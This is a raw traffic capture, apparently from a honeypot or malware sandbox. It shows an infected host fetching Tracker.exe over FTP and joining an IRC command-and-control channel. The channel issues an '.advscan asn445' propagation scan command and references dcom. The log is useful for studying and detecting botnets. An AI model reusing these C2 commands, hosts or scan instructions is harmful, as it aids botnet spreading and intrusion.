ATTACKER: 220 StnyFtpd 0wns j0 VICTIM: USER 1 ATTACKER: 331 Password required VICTIM: PASS 1 ATTACKER: 230 User logged in. VICTIM: PORT 192,168,1,190,4 ATTACKER: 200 PORT command successful. ATTACKER: RETR Tracker.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye happy r00ting. VICTIM: NICK [USA]2K-SP2[00]8493USER ygaci 0 0 :\00315\213\0034\267\00301\002l\002a\00304\002m\002\00301e\002r\002\0034\267\00315\233 ATTACKER: NICK [USA]2K-SP2[00]6761USER jutcf 0 0 :\00315\213\0034\267\00301\002l\002a\00304\002m\002\00301e\002r\002\0034\267\00315\233 ATTACKER: :mi67.three.co.lt NOTICE AUTH :*** Looking up your hostname...:mi67.three.co.lt NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead ATTACKER: :mi67.three.co.lt 001 [USA]2K-SP2[00]6761 :mi67.three.co.lt 002 [USA]2K-SP2[00]6761 :mi67.three.co.lt 003 [USA]2K-SP2[00]6761 :mi67.three.co.lt 004 [USA]2K-SP2[00]6761 :mi67.three.co.lt 005 [USA]2K-SP2[00]6761 :mi67.three.co.lt 005 [USA]2K-SP2[00]6761 :mi67.three.co.lt 005 [USA]2K-SP2[00]6761 :mi67.three.co.lt 422 [USA]2K-SP2[00]6761 :MOTD File is missing:[USA]2K-SP2[00]6761 MODE [USA]2K-SP2[00]6761 :+iwG VICTIM: USERHOST [USA]2K-SP2[00]6761 ATTACKER: :mi67.three.co.lt 302 [USA]2K-SP2[00]6761 :[USA]2K-SP2[00]6761=+jutcf@192.168.1.190 VICTIM: MODE [USA]2K-SP2[00]6761 -x+iJOIN #l# lamUSERHOST [USA]2K-SP2[00]6761MODE [USA]2K-SP2[00]6761 -x+iJOIN #l# lamUSERHOST [USA]2K-SP2[00]6761MODE [USA]2K-SP2[00]6761 -x+iJOIN #l# lamUSERHOST [USA]2K-SP2[00]6761MODE [USA]2K-SP2[00]6761 -x+iJOIN #l# lam ATTACKER: :[USA]2K-SP2[00]6761!jutcf@192.168.1.190 JOIN :#l#:mi67.three.co.lt 332 [USA]2K-SP2[00]6761 #l# :.advscan asn445 100 3 0 -r -b -s:mi67.three.co.lt 333 [USA]2K-SP2[00]6761 #l# dcom 1253988337:mi67.three.co.lt 302 [USA]2K-SP2[00]6761 :[USA]2K-SP2[00]6761=+jutcf@192.168.1.190 :mi67.three.co.lt 302 [USA]2K-SP2[00]6761 :[USA]2K-SP2[00]6761=+jutcf@192.168.1.190 ATTACKER: :mi67.three.co.lt 302 [USA]2K-SP2[00]6761 :[USA]2K-SP2[00]6761=+jutcf@192.168.1.190 ATTACKER: PING :mi67.three.co.lt ATTACKER: PONG :mi67.three.co.lt VICTIM: JOIN #l# lam ATTACKER: PING :mi67.three.co.ltERROR :Closing Link: [USA]2K-SP2[00]6761[192.168.1.190] (Ping timeout) ATTACKER: PONG :mi67.three.co.lt VICTIM: JOIN #l# lam ATTACKER: NICK [USA]2K-SP2[00]0046USER etbtll 0 0 :\00315\213\0034\267\00301\002l\002a\00304\002m\002\00301e\002r\002\0034\267\00315\233 ATTACKER: :mi67.three.co.lt NOTICE AUTH :*** Looking up your hostname... ATTACKER: :mi67.three.co.lt NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead ATTACKER: PONG :mi67.three.co.ltJOIN #l# lam ATTACKER: :mi67.three.co.lt 001 [USA]2K-SP2[00]0046 :mi67.three.co.lt 002 [USA]2K-SP2[00]0046 :mi67.three.co.lt 003 [USA]2K-SP2[00]0046 :mi67.three.co.lt 004 [USA]2K-SP2[00]0046 :mi67.three.co.lt 005 [USA]2K-SP2[00]0046 :mi67.three.co.lt 005 [USA]2K-SP2[00]0046 :mi67.three.co.lt 005 [USA]2K-SP2[00]0046 :mi67.three.co.lt 422 [USA]2K-SP2[00]0046 :MOTD File is missing:[USA]2K-SP2[00]0046 MODE [USA]2K-SP2[00]0046 :+iwG VICTIM: USERHOST [USA]2K-SP2[00]0046 ATTACKER: :mi67.three.co.lt 302 [USA]2K-SP2[00]0046 :[USA]2K-SP2[00]0046=+etbtll@192.168.1.190 VICTIM: MODE [USA]2K-SP2[00]0046 -x+iJOIN #l# lamUSERHOST [USA]2K-SP2[00]0046MODE [USA]2K-SP2[00]0046 -x+iJOIN #l# lamUSERHOST [USA]2K-SP2[00]0046MODE [USA]2K-SP2[00]0046 -x+iJOIN #l# lamUSERHOST [USA]2K-SP2[00]0046MODE [USA]2K-SP2[00]0046 -x+iJOIN #l# lam ATTACKER: :[USA]2K-SP2[00]0046!etbtll@192.168.1.190 JOIN :#l#:mi67.three.co.lt 332 [USA]2K-SP2[00]0046 #l# :.advscan asn445 100 3 0 -r -b -s:mi67.three.co.lt 333 [USA]2K-SP2[00]0046 #l# dcom 1253988337:mi67.three.co.lt 302 [USA]2K-SP2[00]0046 :[USA]2K-SP2[00]0046=+etbtll@192.168.1.190 :mi67.three.co.lt 302 [USA]2K-SP2[00]0046 :[USA]2K-SP2[00]0046=+etbtll@192.168.1.190 :mi67.three.co.lt 302 [USA]2K-SP2[00]0046 :[USA]2K-SP2[00]0046=+etbtll@192.168.1.190 ATTACKER: PONG :mi67.three.co.ltJOIN #l# lam ATTACKER: PONG :mi67.three.co.ltJOIN #l# lam ATTACKER: PONG :mi67.three.co.ltJOIN #l# lam ATTACKER: PONG :mi67.three.co.ltJOIN #l# lam